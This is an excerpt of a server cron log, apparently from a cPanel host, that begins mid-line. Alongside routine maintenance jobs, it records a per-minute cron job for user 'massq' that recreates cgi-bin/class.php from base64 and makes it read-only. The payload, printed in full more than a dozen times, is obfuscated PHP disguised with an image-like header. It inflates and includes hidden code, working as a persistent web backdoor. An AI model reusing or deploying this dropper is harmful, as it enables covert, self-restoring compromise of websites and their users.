yLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:16:01 server CROND[27979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:16:01 server CROND[27981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:16:01 server CROND[27980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:17:01 server CROND[28507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:17:01 server CROND[28508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:17:01 server CROND[28510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:18:01 server CROND[28898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:18:01 server CROND[28897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:18:01 server CROND[28899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:19:01 server CROND[29330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:19:01 server CROND[29332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:19:01 server CROND[29331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:20:01 server CROND[29722]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 23:20:01 server CROND[29724]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:20:01 server CROND[29729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:20:01 server CROND[29733]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 23:20:01 server CROND[29735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:20:01 server CROND[29736]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 23:20:01 server CROND[29737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:20:01 server CROND[29732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:20:01 server CROND[29739]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 23:21:01 server CROND[30573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:21:01 server CROND[30574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:21:01 server CROND[30575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:22:01 server CROND[31054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:22:01 server CROND[31055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:22:01 server CROND[31056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:23:01 server CROND[31442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:23:01 server CROND[31443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:23:01 server CROND[31444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:24:01 server CROND[31819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:24:01 server CROND[31820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:24:01 server CROND[31821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:25:01 server CROND[32218]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 23:25:01 server CROND[32219]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:25:01 server CROND[32222]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 23:25:01 server CROND[32226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:25:01 server CROND[32225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:25:01 server CROND[32223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:25:01 server CROND[32224]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:26:01 server CROND[609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:26:01 server CROND[610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:26:01 server CROND[613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:27:01 server CROND[1181]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 23:27:01 server CROND[1180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:27:01 server CROND[1182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:27:01 server CROND[1183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:28:01 server CROND[1607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
